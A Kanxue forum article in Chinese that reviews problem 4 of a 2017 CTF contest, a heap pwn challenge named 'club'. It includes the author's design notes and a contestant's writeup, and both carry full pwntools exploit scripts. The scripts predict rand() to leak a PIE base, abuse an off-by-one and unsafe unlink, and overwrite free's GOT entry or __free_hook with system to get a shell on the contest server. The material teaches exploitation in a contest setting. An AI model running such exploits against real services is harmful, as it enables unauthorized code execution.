看雪.腾讯TSRC 2017 CTF 秋季赛 第四题点评及解析思路

发布者:Editor
发布于:2017-11-02 11:04


happy Halloween‘s Day!大家万圣节快乐!

第四题过后,看雪CTF赛程即将过半。

第四题的出题者BPG,以被29人攻破的成绩,居于防守方第一名。

第四题过后,攻击方的排名发生了较大的变化,竞争异常激烈。

风间仁重回第一名,黑马iweizitime,后来者居上,由原来的第七名升至第二名,poyoten也由第八名升至第三名。

目前还剩5道题,究竟谁能笑到最后呢?让我们拭目以待吧!

接下来让我们一起来看看关于第四题的点评、出题思路和解析。

看雪评委netwind点评

作者精心构造了一个堆漏洞house_of_orange,为了保证解题思路的唯一性,作者进行了一些限制。为了避免攻击者直接利用double_free漏洞,作者开启了PIE保护,但可以通过随机数预测得到栈地址,在退出的时候将system_addr写到栈里面,之后调用malloc触发异常实现攻击。可惜的是百密一疏,攻击者找到了更简单的方法攻破此题。

第四题作者简介

mutepig,已退役web选手,今年刚开始真正学习pwn,目前仍是小菜鸡一枚,希望能在看雪论坛中向大牛们多多学习交流。

第四题设计思路

0x01 随机数预测

首先是要获取堆的地址,由于开了PIE所以需要通过程序泄露出来,通过随机数来获得种子,从而得到`data段`地址。

程序在开始声明了两个变量`seed`和`name`,随机数种子就是`seed`的地址,在猜测正确随机数后就能将地址返回回来,那么问题就是如何预测随机数了。

具体需要了解[随机数的原理](http://mutepig.club),这里直接把结论丢出来:

rand[i] = (rand[i-3]+rand[i-31])&0x7fffffff

所以只要获得了前31个随机数,就能预测出来后面的随机数,从而得到泄露的地址。

0x02 off by one

在留言的时候,由于多读了一个字符串,所以会导致`off by one`,从而溢出下一个`chunk`的`size`。

那么我们可以构造类似这样的`chunk`:

+==========+

0    |0xf8

+==========+

fake_chunk(size=0xe0)

+==========+

.......

+==========+

0xe0 | 0x100

+==========+

这样实现之后,不仅我们控制了下一个`chunk`的`prev_size`,使得其指向的前一个`chunk`是我们伪造的,同时覆盖了下一个`chunk`的`size`的最低位,使之认为上一个`chunk`是空闲的,所以会调用`unlink`。

0x03 EXP

#!/usr/bin/env python

# encoding: utf-8

from mypwn import *

bin_file = "./club"

remote_detail = ("123.206.22.95",8888)

libc_file = "./libc.so.6"

bp = [0x1100]

pie = True

p,elf,libc = init_pwn(bin_file,remote_detail,libc_file,bp,pie)

def new(box,size=0):

p.recvuntil("> ")

p.sendline("1")

p.recvuntil("> ")

p.sendline(str(box))

p.recvuntil("> ")

p.sendline(str(size))

def free(box):

p.recvuntil("> ")

p.sendline("2")

p.recvuntil("> ")

p.sendline(str(box))

def msg(box,cont):

p.recvuntil("> ")

p.sendline("3")

p.recvuntil("> ")

p.sendline(str(box))

p.send(cont)

def show(box):

p.recvuntil("> ")

p.sendline("4")

p.recvuntil("> ")

p.sendline(str(box))

return p.recvuntil("\n").strip()

def guess_num(num):

p.recvuntil("> ")

p.sendline("5")

p.recvuntil("> ")

p.sendline(str(num))

ret = p.recvuntil("\n")

ok = "G00d" in ret

number = int(ret.split(" ")[-1].split("!")[0])

return ok,number

def guess():

randnum = []

for i in xrange(31):

ok,num = guess_num(0)

randnum.append(num)

while not ok:

guess = (randnum[len(randnum)-31]+randnum[len(randnum)-3])&0x7fffffff

ok,num = guess_num(guess)

randnum.append(num)

return num

def df_chunk(addr,size):

# addr is the heap_addr, that means *addr=(&fake_chunk)

fake_chunk = p64(0) + p64(size+1) + p64(addr - 0x18 ) + p64(addr - 0x10) + (size-0x20) * 'M'

fake_next_size = p64(size)

return fake_chunk + fake_next_size

if __name__ == "__main__":

#  guess number to get stack_addr

seed_addr = guess()

heap_addr = seed_addr - 0x48 + 0x10

base_addr = seed_addr - 0x148-0x202000

free_got = elf.got['free'] + base_addr

atoi_got = elf.got['atoi'] + base_addr

puts_got = elf.got['puts'] + base_addr

libc_free = libc.symbols['free']

libc_system = libc.symbols['system']

log.success("heap_addr:" + hex(heap_addr))

new(1, 0x18)

new(2, 0xe8)

new(3, 0xf8)

new(4,0x110)

#payload = p64(heap_addr-0x18) + p64(heap_addr-0x10) + (0xf0-0x20)*'M' + p64(0xf0) + '\x00'

msg(4,"/bin/sh\x00\n")

payload = df_chunk(heap_addr,0xe0) + "\x00"

msg(2,payload)

free(3)

msg(2,'1'*0x10 + p64(puts_got) + p64(free_got)+"\n")

free_addr = show(2)

free_addr = free_addr.strip().ljust(8,"\x00")

free_addr = u64(free_addr)

base_addr = free_addr - libc_free

system_addr = base_addr + libc_system

log.success("system_addr: %s"%(hex(system_addr)))

msg(1,p64(system_addr)+"\n")

p.recvuntil("> ")

p.sendline("4")

p.recvuntil("> ")

p.sendline("4")

#show(4)

p.interactive()

原文附文件club.tar : bin + libc(点击左下角阅读原文下载)

下面选取攻击者iweizitime的破解分析

分析做法

首先,用pwntools检查一下,pwn checksec club。

Arch:    amd64-64-little

RELRO:    Partial RELRO

Stack:    Canary found

NX:      NX enabled

PIE:      PIE enabled

结果如上,保护基本都开了,这意味着要泄露地址,不能使用shellcode,可以改got表。

分析get_box函数,发现它会对分配的内存大小进行限制,每个至少相差0x10字节,所以不能用fastbin。

所以我们的思路就是想办法泄露地址信息,解决PIE。然后利用unsafe_unlink改写__free_hook的值为system函数的地址,然后free一段包含/bin/sh的内存。

泄露程序加载地址

最先发现了猜随机数的这个函数,这种类型的题目以前碰到过,如果你没有猜对,程序会将正确的结果返回给你。

实际上在这种情况下libc里面的rand函数是可以预测的。规律如下:

STATEi = STATEi-3 + STATEi-31, for i > 34

RANDi = STATEi >> 1

其中STATEi是int32_t类型。所以可以用:

RANDi = (RANDi-3 + RANDi-31) % (1<<31)

来预测,当然,可能猜不准,多猜几次就是了。

seed其实被初始化为了它自己的地址,所以我们得到了seed的地址,也就得到了程序的加载地址。

泄露libc的加载地址

这个很容易,只要适当的free一个内存,它的fd和bk就指向了main_arena+88。下图是alloc(1, 128), alloc(2, 144), alloc(3, 160), destroy(2)后的堆。

得到了main_arena的地址,也就可以算出libc的加载地址了。顺便说一句,作者给的libc就是ubuntu 16.04上面的libc。

触发unlink

给一个网址https://github.com/shellphish/how2heap/blob/master/unsafe_unlink.c 我觉得这个github repository讲的很好,非常值得看。

网上的资料很多,主要说一下针对这个题的流程。

只有id为2,3的内存才能被释放。先构造出一块大的3内存,并保证它释放的时候不会被合并到Top Chunk。

alloc(4, 528)

alloc(3, 512)

alloc(5, 544)

然后把内存3释放掉,在堆中得到一个空洞。顺便把main_arena的地址泄露出来。

destroy(3)

要注意到destroy_box函数除了free内存什么也没做,没有将指针改为NULL,也没有改变size和存在标志。

也就是说,即使我们释放了3内存,依然可以使用它。

接着分配两个比较小的内存,但是也要比0x80大,不要落在fastbin里面。

alloc(1, 0x80)

alloc(2, 0x90)

内存1和内存2的大小加起来也比内存3小,所以会在内存3释放后留下的空洞中分配。注意一定要先分配内存1,再分配内存2,因为只有内存2能被free。现在的内存布局如下。

------------------------------------------------------------------

|                |                        |                    |

------------------------------------------------------------------

|<-      4      ->|<-        3          ->|<-      5        ->|

|<- 1 ->|<- 2 ->|

因为我们还有内存3的指针,所以可以任意修改内存1和内存2的值,可以伪造malloc_chunk。

代码

到这里差不多就可以写代码了。

#!/usr/bin/env python2

# -*- coding: utf-8 -*-

from pwn import *

import re

# Set up pwntools for the correct architecture

context.update(arch='amd64')

context.log_level = 'info'

exe = './club'

def alloc(box_type, size):

io.recvuntil('> ')

io.sendline('1')

io.recvuntil('> ')

io.sendline(str(box_type))

io.recvuntil('> ')

io.sendline(str(size))

l = io.recvline()

if l == 'You have got the box!\n':

return True

else:

return False

def destroy(box_type):

io.recvuntil('> ')

io.sendline('2')

io.recvuntil('> ')

io.sendline(str(box_type))

r = io.recvline()

if r == 'You have destroyed the box!\n':

return True

else:

return False

def leave_message(box_type, message):

io.recvuntil('> ')

io.sendline('3')

io.recvuntil('> ')

io.sendline(str(box_type))

io.sendline(message)

def show_message(box_type):

io.recvuntil('> ')

io.sendline('4')

io.recvuntil('> ')

io.sendline(str(box_type))

return io.recvline()

def guess_rand(rand_num):

io.recvuntil('> ')

io.sendline('5')

io.recvuntil('> ')

io.sendline(str(rand_num))

l = io.recvline()

wrong = re.match('Wr0ng answer!The number is (\d+)!', l)

good = re.match('G00dj0b!You get a secret: (\d+)!', l)

if wrong:

return int(wrong.group(1)), False

elif good:

return int(good.group(1)), True

# Many built-in settings can be controlled on the command-line and show up

# in "args".  For example, to dump all data sent/received, and disable ASLR

# for all created processes...

# ./exploit.py DEBUG NOASLR

# Specify your GDB script here for debugging

# GDB will be launched if the exploit is run via e.g.

# ./exploit.py GDB

gdbscript = '''

continue

'''.format(**locals())

def start(argv=[], *a, **kw):

if args.REMOTE:

return remote('123.206.22.95', 8888)

if args.GDB:

return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)

else:

return process([exe] + argv, *a, **kw)

#===========================================================

#                    EXPLOIT GOES HERE

#===========================================================

io = start()

libc = ELF('./libc.so.6')

# 猜随机数,泄露程序地址

l = []

for i in range(64):

rn, good = guess_rand(3232)

l.append(rn)

while True:

end = len(l)

r = (l[end-3]+l[end-31]) % 2147483648

rn, good = guess_rand(r)

if good:

seed_addr = rn

box_addrs_addr = seed_addr - 0x48

log.info("seed address {}".format(str(hex(seed_addr))))

log.info("box_addrs address {}".format(str(hex(box_addrs_addr))))

break

l.append(rn)

alloc(4, 528)

alloc(3, 512)

alloc(5, 544)

destroy(3)

# 找到main_arena,泄露libc地址

main_area = u64(show_message(3)[:6]+'\x00\x00') - 88

libc_base = main_area - 0x3c4b20

log.info('libc address {}'.format(str(hex(libc_base))))

__free_hook_addr = libc.symbols['__free_hook'] + libc_base

system_addr = libc.symbols['system'] + libc_base

log.info("libc __free_hook {}".format(str(hex(__free_hook_addr))))

log.info("libc system {}".format(str(hex(system_addr))))

alloc(1, 0x80)

alloc(2, 0x90)

box1_addr_addr = box_addrs_addr + 8

# fake chunk

payload1 = 'A' * 8                          # fake chunk prev_size

payload1 += p64(8)                          # fake chunk size

payload1 += p64(box1_addr_addr - 8*3)      # fake chunk fd

payload1 += p64(box1_addr_addr - 8*2)      # fake chunk bk

payload1 += 'A' * (0x80-len(payload1))

payload1 += p64(0x80)                      # overwrite prev_size in next chunk

payload1 += p64(0xa0)                      # set PREV_INUSE to 0

leave_message(3, payload1)

# 触发unlink

destroy(2)

# 将small box的地址改写为__free_hook的地址

payload2 = '\x00' * 24

payload2 += p64(box_addrs_addr-0x10)

payload2 += p64(__free_hook_addr)

leave_message(1, payload2)

# 将__free_hook的值改写为system的地址

leave_message(2, p64(system_addr))

# 写入 '/bin/sh'

leave_message(3, '/bin/sh\x00')

# free normal box,也就是system('/bin/sh')

io.recvuntil('> ')

io.sendline('2')

io.recvuntil('> ')

io.sendline(str(3))

io.interactive()

温馨提示

每道题结束过后都会看到很多盆友的精彩解题分析过程,因为公众号内容的限制,每次题目过后我们将选出一篇与大家分享。解题方式多种多样,各位参赛选手的脑洞也种类繁多,想要看到更多解题分析的小伙伴们可以前往看雪论坛【CrackMe】版块查看哦!

原文出自看雪论坛,转载请注明来自看雪社区


声明:该文观点仅代表作者本人,转载请注明来自看雪